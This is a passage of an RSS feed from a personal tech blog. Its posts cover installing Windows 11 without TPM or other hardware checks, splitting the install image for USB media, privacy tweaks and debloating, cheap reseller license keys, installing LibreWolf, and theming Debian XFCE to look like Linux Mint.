choose &ldquo;Open Terminal Here&rdquo;. In this terminal you need to run one command:</p>
<pre><code>wimsplit install.wim install.swm 1024 --check
</code></pre>
<p>If you have not got this tool yet you may have to install WimLib tools first:</p>
<pre><code>sudo apt install wimtools
</code></pre>
<p>On my machine this was the output (I ran it with &ldquo;time&rdquo; so that you can see how
long it took):</p>
<pre><code>$ time wimsplit install.wim install.swm 1024 --check
[WARNING] &quot;install.wim&quot; does not contain integrity information.  Skipping integrity check.
Calculating integrity table for WIM: 1019 MiB of 1019 MiB (100%) done
Calculating integrity table for WIM: 1005 MiB of 1005 MiB (100%) done
Calculating integrity table for WIM: 951 MiB of 951 MiB (100%) done
Calculating integrity table for WIM: 986 MiB of 986 MiB (100%) done
Calculating integrity table for WIM: 1020 MiB of 1020 MiB (100%) done
Calculating integrity table for WIM: 1023 MiB of 1023 MiB (100%) done
Calculating integrity table for WIM: 345 MiB of 345 MiB (100%) done
Splitting WIM: 6363 MiB of 6363 MiB (100%) written, part 7 of 7
Finished splitting &quot;install.wim&quot;

real  0m31,255s
user  0m27,026s
sys   0m4,223s
</code></pre>
<p>After waiting for 30 seconds (I have a fast NVMe drive) the &ldquo;install.wim&rdquo; file
was split and I could remove it. Now the sources folder was ready to be copied
onto the FAT32 partition of my USB drive (that has a GPT partition table). Next
I rebooted, chose the USB drive in the Boot menu and the Windows 11 installation
started (without the need to disable &ldquo;secure boot&rdquo;).</p>
<h3 id="preparing-the-iso-image-on-windows">Preparing the ISO image (on Windows)</h3>
<p>On Windows you can split the install.wim file into smaller ones using the
DISM.exe tool. Like on Linux you need to mount the ISO file and copy all
contents to a folder on the hard disk. Next you need to start an elevated
command prompt in that folder to use DISM command. Run the following DISM
command:</p>
<pre><code>dism /Split-Image /ImageFile:install.wim /SWMFile:install.swm /FileSize:1024
</code></pre>
<p>After splitting has finished you can remove the original install.wim file. The
created SWM files (install.swm, install2.swm) will all be smaller than 1 GiB and
can therefore be copied without errors to a FAT32 formatted USB drive.</p>
<h3 id="alternative-use-rufus-on-windows">Alternative: Use Rufus on Windows</h3>
<p>On Windows you can use Rufus to create a bootable USB drive directly from the
ISO file without you having to worry about anything. It will create a FAT32 EFI
partition containing an NTFS driver and it will install from NTFS. Note that
when selecting a Windows 11 install image it will also allow you to bypass the
TPM check and set other nice things.. try it!</p>
<p><a href="https://rufus.ie/en/">Rufus - Create bootable USB drives the easy way</a></p>
<h3 id="skipping-tpm-and-network-requirements">Skipping TPM and network requirements</h3>
<p>During the installation press Shift-F10 and a Command Prompt window will appear.
You can type the following commands:</p>
<pre><code>reg add HKLM\SYSTEM\Setup\LabConfig /v BypassTPMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassSecureBootCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassRAMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassStorageCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassCPUCheck /d 1 /t reg_dword /f
</code></pre>
<p>Now the installer will install Windows 11 without hardware checks. When it asks
to connect to a network type the following command:</p>
<pre><code>start ms-cxh:localonly
</code></pre>
<p>You can now enter only a username and leave the password field(s) empty.</p>
<h3 id="remove-microsoft-bundled-software">Remove Microsoft bundled software</h3>
<p>After doing this you can uninstall everything on the start menu and from &ldquo;add or
remove programs&rdquo; that Microsoft allows you to uninstall. No worries, it won&rsquo;t
allow you to uninstall things that are needed for normal operation of the
operating system. In the latest Windows 11 (25H2) release you can even uninstall
Edge and OneDrive! I recommend installing the following alternatives:</p>
<ul>
<li>Web browser: <a href="https://www.firefox.com/">Firefox</a></li>
<li>Image viewer: <a href="https://nomacs.org/docs/getting-started/installation/">Nomacs</a></li>
<li>Media player: <a href="https://www.videolan.org/vlc/download-windows.html">VLC</a></li>
<li>Text editor: <a href="https://notepad-plus-plus.org/downloads/">Notepad++</a></li>
<li>Calculator: <a href="https://qalculate.github.io/downloads.html">Qalculate!</a></li>
</ul>
<h3 id="windows-11-please-shut-up">Windows 11: Please shut up!</h3>
<p>Windows 11 is not very privacy friendly, but this can be improved with a tool
called &ldquo;O&amp;O ShutUp10++&rdquo;. Download and install &ldquo;O&amp;O ShutUp10++&rdquo; and choose &ldquo;Apply
only recommended settings&rdquo; and manually click the option &ldquo;Disable extension of
Windows search with Bing&rdquo;. The (recommended) option &ldquo;Disable Windows Copilot+
Recall&rdquo; is the most important one. If you don&rsquo;t disable this Windows 11 will
send constant screenshots to Microsoft to profile what you are doing on your PC.</p>
<p><a href="https://www.oo-software.com/en/shutup10">O&amp;O ShutUp10 - Free antispy tool for Windows 10 and 11</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Microsoft&#39;s digital licenses are way too cheap</title>
      <link>https://www.tqdev.com/2025-microsoft-s-digital-licenses-are-way-too-cheap/</link>
      <pubDate>Tue, 16 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-microsoft-s-digital-licenses-are-way-too-cheap/</guid>
      <description>&lt;p&gt;Windows 11 has poor privacy and features like Recall show how bad things have
gotten. Microsoft Office is pushing OneDrive a little too hard and has poor
compatibility between different Office versions. This would drive people to
Linux and LibreOffice if it weren&amp;rsquo;t for the ridiculous low prices of Microsoft&amp;rsquo;s
digital licenses. This is what I am talking about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft Office 2024 Professional Plus (for less than 2 euro)&lt;/li&gt;
&lt;li&gt;Windows 11 Pro (for less than 2 euro)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Source: On &lt;a href=&#34;https://www.allkeyshop.com&#34;&gt;Allkeyshop.com&lt;/a&gt; you can search the
product and find a discount code. Then, on &lt;a href=&#34;https://wincdkey.com&#34;&gt;Wincdkey.com&lt;/a&gt;
you can buy the license with the discount code. The license key will be
instantly delivered.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Windows 11 has poor privacy and features like Recall show how bad things have
gotten. Microsoft Office is pushing OneDrive a little too hard and has poor
compatibility between different Office versions. This would drive people to
Linux and LibreOffice if it weren&rsquo;t for the ridiculous low prices of Microsoft&rsquo;s
digital licenses. This is what I am talking about:</p>
<ul>
<li>Microsoft Office 2024 Professional Plus (for less than 2 euro)</li>
<li>Windows 11 Pro (for less than 2 euro)</li>
</ul>
<p>Source: On <a href="https://www.allkeyshop.com">Allkeyshop.com</a> you can search the
product and find a discount code. Then, on <a href="https://wincdkey.com">Wincdkey.com</a>
you can buy the license with the discount code. The license key will be
instantly delivered.</p>
<p>There are lots of discussions online on whether or not these licenses are
valid/legal, but all I know is that Microsoft is winning because of them. If
these weren&rsquo;t available, then looking for a free alternative would be much more
important. And the free alternatives are so much better!</p>
<h3 id="about-digital-entitlements">About digital entitlements</h3>
<p>You can check whether or not you have a Digital License in Windows in the
Activation Settings. Look under Activation State and if it says &ldquo;Windows is
activated with a digital license&rdquo;, you have a digital entitlement. A digital
license can either be bound to the hardware or to a Microsoft account. If it is
bound to a Microsoft account it says &ldquo;Windows is activated with a digital
license linked to your Microsoft account&rdquo;. Even when it is not bound to a
Microsoft account it should automatically re-activate the license after you
clean install. Make sure you install the same edition and choose &ldquo;I don&rsquo;t have a
product key&rdquo;.</p>
<h3 id="linux-mint-222">Linux Mint 22.2</h3>
<p>Recently Linux Mint 22.2 has been released and it is a very polished experience.
It comes with LibreOffice and Firefox and has everything you need in an
operating system. It is secure and easy to use and best of all: it respects your
privacy. If you are appalled by the Windows 11 privacy policies then you could
give this a try:</p>
<p>Download: <a href="https://www.linuxmint.com/">https://www.linuxmint.com/</a></p>
<h3 id="libreoffice-25">LibreOffice 25</h3>
<p>LibreOffice is a free Office suit with Word, Excel and Powerpoint compatibility.
It is available for Windows, Mac and Linux. For most users it has a better user
experience than Microsoft Office as it is does not have ribbons in the UI and
has great compatibility with all versions of Microsoft Office. Oh.. and did I
mention it was free?</p>
<p>Download: <a href="https://www.libreoffice.org/">https://www.libreoffice.org/</a></p>
<h3 id="making-windows-a-little-bit-better">Making Windows a little bit better</h3>
<p>You can make Windows (10 or 11) a little bit better by installing &ldquo;O&amp;O
ShutUp10++&rdquo; and applying recommended settings. I wrote more about this in my
previous article. This article also explains how to work around the hardware
requirements of Windows 11.</p>
<p>Read:
<a href="https://tqdev.com/2025-install-windows-11-24h2-without-tpm">Install Windows 11 24H2 without TPM</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Install Windows 11 24H2 without TPM</title>
      <link>https://www.tqdev.com/2025-install-windows-11-24h2-without-tpm/</link>
      <pubDate>Sun, 14 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-install-windows-11-24h2-without-tpm/</guid>
      <description>&lt;p&gt;Windows 10 will be EOL (End-Of-Life) in exactly one month on October 14th.
Microsoft says you need a modern PC with TPM chip to run Windows 11, but this is
not true. In this post I&amp;rsquo;ll explain how to upgrade to Windows 11 without a TPM
chip (or any other hardware requirement) using Rufus. As a bonus I&amp;rsquo;ll help you
setup Windows 11 in a more privacy friendly way using the &amp;ldquo;O&amp;amp;O ShutUp10++&amp;rdquo;
software package.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Windows 10 will be EOL (End-Of-Life) in exactly one month on October 14th.
Microsoft says you need a modern PC with TPM chip to run Windows 11, but this is
not true. In this post I&rsquo;ll explain how to upgrade to Windows 11 without a TPM
chip (or any other hardware requirement) using Rufus. As a bonus I&rsquo;ll help you
setup Windows 11 in a more privacy friendly way using the &ldquo;O&amp;O ShutUp10++&rdquo;
software package.</p>
<p>Disclaimer: Make sure to backup your PC before you upgrade to Windows 11.</p>
<h3 id="download-install-media">Download install media</h3>
<p>On the following link you can download the Windows 11 ISO for x64 in your
favorite language:</p>
<p><a href="https://www.microsoft.com/nl-nl/software-download/windows11">https://www.microsoft.com/nl-nl/software-download/windows11</a></p>
<p>It will download a file named &ldquo;<code>Win11_24H2_EnglishInternational_x64.iso</code>&rdquo;. You
can right-click and mount this image to make it appear as a new disk in your PC.
Then you can run the &ldquo;setup.exe&rdquo; from the disk to start the Windows 11
installer.</p>
<h3 id="windows-11-upgrade">Windows 11 upgrade</h3>
<p>You can run the following batch script to bypass the Windows 11 (24H2) hardware
checks. Open &ldquo;notepad.exe&rdquo; and paste the following:</p>
<pre><code>@echo off
reg delete &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CompatMarkers&quot; /f
reg delete &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Shared&quot; /f
reg delete &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TargetVersionUpgradeExperienceIndicators&quot; /f
reg add &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\HwReqChk&quot; /v &quot;HwReqChkVars&quot; /t REG_MULTI_SZ /s &quot;,&quot; /d &quot;SQ_SecureBootCapable=TRUE,SQ_SecureBootEnabled=TRUE,SQ_TpmVersion=2,SQ_RamMB=8192&quot; /f
reg add &quot;HKLM\SYSTEM\Setup\MoSetup&quot; /v &quot;AllowUpgradesWithUnsupportedTPMOrCPU&quot; /t REG_DWORD /d 1 /f
pause
</code></pre>
<p>Save this as the file &ldquo;regfix.bat&rdquo; on your desktop and right-click and &ldquo;Run as
Administrator&rdquo;, after confirmation the script is executed. After running this
registry modification you can run the &ldquo;setup.exe&rdquo; from the Windows 11 ISO and it
will skip the hardware compatibility test.</p>
<h3 id="windows-11-clean-install-from-usb">Windows 11 clean install from USB</h3>
<p>Rufus is a great tool that allows you to write the Windows 11 install media to a
bootable USB drive. While doing this it can also apply many &ldquo;fixes&rdquo; to the
installer, such as allowing to install without TPM. These fixes can be found in
the &ldquo;Windows User Experience&rdquo; pop-up that it shows before writing the ISO to the
disk.</p>
<p><a href="https://www.youtube.com/watch?v=6hra5WpaAE4&amp;t=118s">Youtube - Install Windows 11 &amp; Bypass TPM with Rufus</a></p>
<p>NB: The bootable USB drive with Windows 11 that Rufus creates can also be used
to upgrade Windows 10 PCs without TPM.</p>
<h3 id="windows-11-clean-install-from-iso">Windows 11 clean install from ISO</h3>
<p>If you are booting directly from the ISO (in a VM for instance), then you can
apply the procedure below to get a similar result.</p>
<p>During the installation press Shift-F10 and a Command Prompt window will appear.
You can type the following commands:</p>
<pre><code>reg add HKLM\SYSTEM\Setup\LabConfig /v BypassTPMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassSecureBootCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassRAMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassStorageCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassCPUCheck /d 1 /t reg_dword /f
</code></pre>
<p>Now the installer will install Windows 11 without hardware checks. When it asks
to connect to a network type the following command:</p>
<pre><code>start ms-cxh:localonly
</code></pre>
<p>You can now enter only a username and leave the password field(s) empty.</p>
<h3 id="windows-11-please-shut-up">Windows 11: Please shut up!</h3>
<p>Windows 11 is not very privacy friendly, but this can be improved with a tool
called &ldquo;O&amp;O ShutUp10++&rdquo;. Download and install &ldquo;O&amp;O ShutUp10++&rdquo; and choose &ldquo;Apply
only recommended settings&rdquo; and manually click the option &ldquo;Disable extension of
Windows search with Bing&rdquo;. The (recommended) option &ldquo;Disable Windows Copilot+
Recall&rdquo; is the most important one. If you don&rsquo;t disable this Windows 11 will
send constant screenshots to Microsoft to profile what you are doing on your PC.</p>
<p><a href="https://www.oo-software.com/en/shutup10">O&amp;O ShutUp10 - Free antispy tool for Windows 10 and 11</a></p>
<h3 id="remove-all-windows-apps">Remove all Windows apps</h3>
<p>If you are like me, then you are thrilled that you can remove almost all
standard installed apps in Windows 11. You can even remove Edge and install
Firefox (or even LibreWolf) as your default browser. I can recommend to remove
all standard installed apps (and shortcuts) except for &ldquo;Quick Assist&rdquo; (in case
you want to let somebody help you on your PC) and &ldquo;Remote Desktop Connection&rdquo; as
these are useful to receive and give support to other users when using Windows.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://rufus.ie/en/">Rufus.ie - Create bootable USB drives the easy way</a></li>
<li><a href="https://www.youtube.com/watch?v=6hra5WpaAE4">YouTube - Install Windows 11 &amp; Bypass TPM with Rufus | Flash Linux &amp; Windows</a></li>
<li><a href="https://www.oo-software.com/en/shutup10">OO-Software.com - O&amp;O ShutUp10++: Free antispy tool for Windows 10 and 11</a></li>
<li><a href="https://tqdev.com/2019-cannot-copy-windows-10-install-wim">TQdev.com - Cannot copy Windows 10 &ldquo;install.wim&rdquo;?</a></li>
<li><a href="https://tqdev.com/2016-creating-bootable-windows-10-usb-ubuntu">TQdev.com - Creating a bootable Windows 10 USB on Ubuntu</a></li>
<li><a href="https://tqdev.com/2016-windows-10-clean-install">TQdev.com - Windows 10 clean install</a></li>
<li><a href="https://tqdev.com/2021-why-i-use-bitlocker-without-tpm">TQdev.com - Why I use Bitlocker without TPM</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Install LibreWolf, a better version of Firefox</title>
      <link>https://www.tqdev.com/2025-install-librewolf-a-better-version-of-firefox/</link>
      <pubDate>Thu, 04 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-install-librewolf-a-better-version-of-firefox/</guid>
      <description>&lt;p&gt;LibreWolf is a custom and independent version of Firefox, with the primary goals
of privacy, security and user freedom. LibreWolf is designed to increase
protection against tracking and fingerprinting techniques, while also including
a few security improvements. This is achieved through our privacy and security
oriented settings and patches. LibreWolf also aims to remove all the telemetry,
data collection and annoyances, as well as disabling anti-freedom features like
DRM.&lt;/p&gt;
&lt;h3 id=&#34;installation&#34;&gt;Installation&lt;/h3&gt;
&lt;p&gt;LibreWolf has a repository for Debian-based distributions (Debian, Ubuntu, Mint,
etc.), with which you can easily install and update LibreWolf. To add it to your
system and install LibreWolf, run the following commands one by one:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>LibreWolf is a custom and independent version of Firefox, with the primary goals
of privacy, security and user freedom. LibreWolf is designed to increase
protection against tracking and fingerprinting techniques, while also including
a few security improvements. This is achieved through our privacy and security
oriented settings and patches. LibreWolf also aims to remove all the telemetry,
data collection and annoyances, as well as disabling anti-freedom features like
DRM.</p>
<h3 id="installation">Installation</h3>
<p>LibreWolf has a repository for Debian-based distributions (Debian, Ubuntu, Mint,
etc.), with which you can easily install and update LibreWolf. To add it to your
system and install LibreWolf, run the following commands one by one:</p>
<pre><code>sudo apt update &amp;&amp; sudo apt install extrepo
sudo extrepo enable librewolf
sudo apt update &amp;&amp; sudo apt install librewolf
</code></pre>
<p>You should see a new application named &ldquo;LibreWolf&rdquo; in your application list.</p>
<h3 id="features">Features</h3>
<p>Main Features:</p>
<ul>
<li><strong>No Telemetry</strong>: No experiments, adware, annoyances, or unnecessary
distractions.</li>
<li><strong>Private Search</strong>: Privacy-conscious search providers: DuckDuckGo, Searx,
Qwant and more.</li>
<li><strong>Content Blocker Included</strong>: uBlock Origin is already included for your
convenience.</li>
<li><strong>Enhanced Privacy</strong>: Hardened to maximize privacy, without sacrificing
usability.</li>
<li><strong>Fast Updates</strong>: LibreWolf is always built from the latest Firefox stable
source, for up-to-date security and features along with stability.</li>
<li><strong>Open Source</strong>: Everyone can participate in the development of LibreWolf.</li>
</ul>
<p>For more details read the full
<a href="https://librewolf.net/docs/features">feature list</a>.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://librewolf.net/#what-is-librewolf">LibreWolf - A custom version of Firefox, focused on privacy, security and freedom.</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Install Debian 13 with the Mint XFCE theme</title>
      <link>https://www.tqdev.com/2025-install-debian-13-with-the-mint-xfce-theme/</link>
      <pubDate>Wed, 03 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-install-debian-13-with-the-mint-xfce-theme/</guid>
      <description>&lt;p&gt;I often choose Linux Mint XFCE when I need a good looking and comfortable system
quick. But sometimes I&amp;rsquo;d rather have a more stable system and match what I have
on the server, which is Debian 13. Unfortunately Debian with XFCE doesn&amp;rsquo;t look
as good as Linux Mint with XFCE. In this post I&amp;rsquo;ll explain what you can do to
make Debian with XFCE look like Linux Mint XFCE.&lt;/p&gt;
&lt;p&gt;
  
    &lt;img src=&#34;https://www.tqdev.com/uploads/2025/debian-mint-theme_hu_633853012454f98c.webp&#34; alt=&#34;demo&#34;  /&gt;
  
&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I often choose Linux Mint XFCE when I need a good looking and comfortable system
quick. But sometimes I&rsquo;d rather have a more stable system and match what I have
on the server, which is Debian 13. Unfortunately Debian with XFCE doesn&rsquo;t look
as good as Linux Mint with XFCE. In this post I&rsquo;ll explain what you can do to
make Debian with XFCE look like Linux Mint XFCE.</p>
<p>
  
    <img src="/uploads/2025/debian-mint-theme_hu_633853012454f98c.webp" alt="demo"  />
  
</p>
<h3 id="try-lmde-first">Try LMDE first!</h3>
<p>Linux Mint Debian Edition is a Linux Mint based on Debian instead of Ubuntu. It
uses Cinnamon as Desktop Environment which is also quite pretty. You should
consider LMDE before following this tutorial on how to customize Debian with
XFCE to look like Linux Mint XFCE. Linux Mint Debian Edition is a good looking
and well supported Cinnamon Desktop Environment and under the hood it still is
Debian. LMDE 7 is based on Debian 13 and has been released on Oct. 15th, 2025.</p>
<p><a href="https://www.linuxmint.com/download_lmde.php">Download Linux Mint Debian Edition here</a></p>
<h3 id="debian-13-installation">Debian 13 installation</h3>
<p>I am using the <code>debian-13.0.0-amd64-netinst.iso</code> and when booting from that
image I choose the Graphical install. After installing Region, language and
keyboard layout it will install the network. After the network I choose not to
setup a root password (leave fields empty) and then setup a first user (can
become root using <code>sudo</code>). When asking what to do with the disk choose &ldquo;Guided -
use entire disk and set up encrypted LVM&rdquo; to enable full disk encryption using
LUKS. Choose &ldquo;Separate /home partition&rdquo; when asked how to partition the disk.
This is nice when you are reinstalling Linux. After confirming that changes must
be written to disk the installer starts copying files. It will ask you to choose
a local mirror and whether you want to participate in the package popularity
contest. Next is the &ldquo;Software selection&rdquo; list. Uncheck &ldquo;GNOME&rdquo; and check &ldquo;Xfce&rdquo;
before you continue to ensure XFCE is installed as default Desktop Environment.
Finally install the bootloader on the drive and reboot the system.</p>
<h3 id="panels">Panels</h3>
<p>In order to make the task bar look more familiar do:</p>
<ol>
<li>Move the panel from the top to the bottom by</li>
</ol>
<ul>
<li>Right clicking on the top panel, choose &ldquo;Panel&rdquo; and then &ldquo;Panel Preferences..&rdquo;</li>
<li>Uncheck &ldquo;Lock panel&rdquo; and a handle should appear on the panel</li>
<li>Drag the panel all the way to the bottom</li>
<li>Check the &ldquo;Lock panel&rdquo; option again and close the window</li>
</ul>
<ol start="2">
<li>Remove the second panel</li>
</ol>
<ul>
<li>Right clicking on the top panel, choose &ldquo;Panel&rdquo; and then &ldquo;Panel Preferences..&rdquo;</li>
<li>Click on the minus behind the word &ldquo;Panel 2&rdquo;</li>
<li>Are you sure? Click &ldquo;Remove&rdquo;</li>
</ul>
<ol start="3">
<li>Under &ldquo;Display&rdquo; set the &ldquo;Row size (pixels)&rdquo; to 32</li>
<li>Under &ldquo;Appearance&rdquo; uncheck &ldquo;Dark mode&rdquo; and set &ldquo;Fixed icon size (pixels)&rdquo; to
20</li>
<li>Under &ldquo;Items&rdquo; add the &ldquo;Whisker Menu&rdquo; to the top of the panel&rsquo;s &ldquo;Items&rdquo; (drag
up)</li>
<li>On &ldquo;Whisker Menu&rdquo; click the little wrench next to &ldquo;Remove&rdquo;</li>
<li>Under &ldquo;Appearance&rdquo; set the &ldquo;Icon&rdquo; to
&ldquo;/usr/share/icons/desktop-base/64x64/emblems/emblem-debian-white.png&rdquo;</li>
<li>Remove the &ldquo;Applications Menu&rdquo; and confirm removal</li>
<li>On &ldquo;Window Buttons&rdquo; click the little wrench next to &ldquo;Remove&rdquo;</li>
<li>Uncheck &ldquo;Show handle&rdquo; and uncheck &ldquo;Group windows by application&rdquo;</li>
<li>Optionally set &ldquo;Middle click action&rdquo; to &ldquo;Close Window&rdquo;</li>
<li>Remove the &ldquo;Action Buttons&rdquo; and the &ldquo;Workspace Switcher&rdquo; and confirm removal</li>
<li>Add some separators, &ldquo;Power Manager Plugin&rdquo;, &ldquo;Notification Plugin&rdquo; and &ldquo;Show
Desktop&rdquo; item</li>
<li>In the &ldquo;Clock&rdquo; item change the &ldquo;Layout&rdquo; to &ldquo;Time then date&rdquo; and set Time to
&ldquo;Sans Bold&rdquo;</li>
<li>Add some launchers for applications you often use</li>
<li>Start the &ldquo;Whisker Menu&rdquo; and click the icon left of your username</li>
<li>Click the logo and choose &ldquo;Browse&hellip;&rdquo; and point to
&ldquo;/usr/share/icons/desktop-base/256x256/emblems/emblem-debian.png&rdquo;</li>
</ol>
<h3 id="install-some-packages">Install some packages</h3>
<p>We need a few new sources:</p>
<pre><code>gpg --keyserver hkps://keyserver.ubuntu.com --recv-keys 302F0738F465C1535761F965A6616109451BBBF2
gpg --export 302F0738F465C1535761F965A6616109451BBBF2 | sudo tee /etc/apt/keyrings/linuxmint.gpg &gt; /dev/null
echo deb [signed-by=/etc/apt/keyrings/linuxmint.gpg] http://packages.linuxmint.com zara main | sudo tee /etc/apt/sources.list.d/linuxmint.list
sudo sed -i 's/non-free-firmware/non-free non-free-firmware/g' sources.list
sudo apt update
</code></pre>
<p>Now we can install the requirements:</p>
<pre><code>sudo apt install mint-x-icons mint-y-icons mint-themes mint-backgrounds-wallpapers
sudo apt install mint-backgrounds-xfce bibata-cursor-theme fonts-ubuntu mugshot
sudo apt install lightdm-settings slick-greeter
</code></pre>
<p>In order to remove the new sources:</p>
<pre><code>sudo rm /etc/apt/sources.list.d/linuxmint.list
sudo sed -i 's/non-free non-free-firmware/non-free-firmware/g' sources.list
sudo apt update
</code></pre>
<p>Linux Mint is based on Ubuntu, which is itself based on Debian, but there are
differences in how packages are built and maintained. therefore it is safer to
disable these sources to avoid unexpected upgrades on the (Ubuntu or Mint
specific) packages.</p>
<h3 id="change-appearance-settings">Change &ldquo;Appearance&rdquo; settings</h3>
<ol>
<li>Go to &ldquo;Settings&rdquo; in the main menu and choose &ldquo;Appearance&rdquo;</li>
<li>Set &ldquo;Style&rdquo; to &ldquo;Mint-Y-Aqua&rdquo;</li>
<li>Set &ldquo;Icons&rdquo; to &ldquo;Mint-Y-Sand&rdquo;</li>
<li>Set &ldquo;Fonts&rdquo; to &ldquo;Ubuntu Regular&rdquo; size 10 and &ldquo;Monospace Regular&rdquo; size 10</li>
<li>Check &ldquo;Enable anti-aliasing&rdquo; set &ldquo;Hinting&rdquo; to &ldquo;Slight&rdquo; and Sub-pixel order&quot;
to &ldquo;RGB&rdquo;</li>
</ol>
<h3 id="change-window-manager-settings">Change &ldquo;Window Manager&rdquo; settings</h3>
<ol>
<li>Go to &ldquo;Settings&rdquo; in the main menu and choose &ldquo;Window Manager&rdquo;</li>
<li>Set &ldquo;Style&rdquo; to &ldquo;Mint-Y-Aqua&rdquo;</li>
<li>Set &ldquo;Title font&rdquo; to &ldquo;Ubuntu Medium&rdquo; size 10</li>
<li>In &ldquo;Button Layout&rdquo; remove the arrow up from &ldquo;Active&rdquo; (drag to &ldquo;Hidden&rdquo;)</li>
<li>Set &ldquo;Fonts&rdquo; to &ldquo;Ubuntu Regular&rdquo; size 10 and &ldquo;Monospace Regular&rdquo; size 10</li>
<li>Check &ldquo;Enable anti-aliasing&rdquo; set &ldquo;Hinting&rdquo; to &ldquo;Slight&rdquo; and Sub-pixel order&quot;
to &ldquo;RGB&rdquo;</li>
<li>In &ldquo;Advanced&rdquo; under &ldquo;Windows snapping&rdquo; uncheck the &ldquo;To other windows&rdquo; option</li>
</ol>
<h3 id="change-mouse-and-touchpad-settings">Change &ldquo;Mouse and Touchpad&rdquo; settings</h3>
<ol>
<li>Go to &ldquo;Settings&rdquo; in the main menu and choose &ldquo;Mouse and Touchpad&rdquo;</li>
<li>Set &ldquo;Theme&rdquo; to &ldquo;Bibata-Modern-Classic&rdquo;</li>
<li>Set under &ldquo;Size&rdquo; the &ldquo;Cursor size&rdquo; to 24</li>
</ol>
<h3 id="change-login-window-settings">Change &ldquo;Login Window&rdquo; settings</h3>
<ol>
<li>Go to &ldquo;Settings&rdquo; in the main menu and choose &ldquo;Login Window&rdquo;</li>
<li>Set the correct &ldquo;Backround&rdquo; image</li>
<li>Set the &ldquo;GTK theme&rdquo; to &ldquo;Mint-Y-Aqua&rdquo;</li>
<li>Set the &ldquo;Icon theme&rdquo; to &ldquo;Mint-Y-Sand&rdquo;</li>
<li>Set the &ldquo;Mouse pointer&rdquo; to &ldquo;Bibata-Modern-Classic&rdquo;</li>
<li>Go to &ldquo;Users&rdquo;</li>
<li>Disable &ldquo;Allow manual login&rdquo;</li>
<li>Disable &ldquo;Hide the user list&rdquo;</li>
</ol>
<h3 id="change-desktop-settings">Change &ldquo;Desktop&rdquo; settings</h3>
<ol>
<li>Right click the desktop and choose &ldquo;Desktop Settings..&rdquo;</li>
<li>Under &ldquo;File/Launcher Icons&rdquo; you find a list of &ldquo;Default Icons&rdquo;</li>
<li>Uncheck &ldquo;Home&rdquo;, &ldquo;File System&rdquo; and &ldquo;Trash&rdquo;</li>
</ol>
<h3 id="change-thunar-settings">Change &ldquo;Thunar&rdquo; settings</h3>
<ol>
<li>Open &ldquo;Thunar File Manager&rdquo; application</li>
<li>In the main menu click on &ldquo;Edit&rdquo; and &ldquo;Preferences&hellip;&rdquo;</li>
<li>Under &ldquo;Side Pane&rdquo; set the &ldquo;Icon size&rdquo; to 16px</li>
</ol>
<h3 id="create-a-new-terminal-theme">Create a new &ldquo;Terminal&rdquo; theme</h3>
<p>We create a new theme for the xfce4-terminal application:</p>
<pre><code>sudo nano /usr/share/xfce4/terminal/colorschemes/linux-mint.theme
</code></pre>
<p>Now paste the following colors:</p>
<pre><code>[Scheme]
Name=Linux Mint
ColorForeground=#ffffff
ColorBackground=#3c3c3c
ColorCursor=#867f81
ColorPalette=#000000;#cc0000;#4e9a06;#c4a000;#3465a4;#75507b;#06989a;#d3d7cf;#555753;#ef2929;#8ae234;#fce94f;#739fcf;#ad7fa8;#34e2e2;#eeeeec
BoldIsBright=true
</code></pre>
<p>NB: These are extracted from a default config on a real Mint XFCE installation.</p>
<h3 id="change-terminal-settings">Change &ldquo;Terminal&rdquo; settings</h3>
<p>Since we have created a new terminal theme we can now apply it:</p>
<ol>
<li>Open the &ldquo;Terminal Emulator&rdquo; or &ldquo;Xfce Terminal&rdquo; application</li>
<li>In the main menu click on &ldquo;Edit&rdquo; and &ldquo;Preferences&hellip;&rdquo;</li>
<li>Under &ldquo;Appearance&rdquo; and &ldquo;Font&rdquo; choose &ldquo;Monospace Regular&rdquo; size 10</li>
<li>Under &ldquo;Colors&rdquo; find the &ldquo;Presets&rdquo; and select &ldquo;Linux Mint&rdquo;</li>
</ol>
<p>Now the terminal should also look like Mint XFCE.</p>
<h3 id="firefox-installation">Firefox installation</h3>
<p>Debian uses Firefox ESR, which may lag a bit behind the Mozilla repositories
with updates. Instead of using installing Firefox from the Mozilla repository I
recommend installing LibreWolf, a custom version of Firefox, focused on privacy,
security and freedom.</p>
<p>See:
<a href="https://tqdev.com/2025-install-librewolf-a-better-version-of-firefox">https://tqdev.com/2025-install-librewolf-a-better-version-of-firefox</a></p>
<h3 id="conclusion">Conclusion</h3>
<p>Running Debian as a desktop is more fun when Debian looks good. And in this
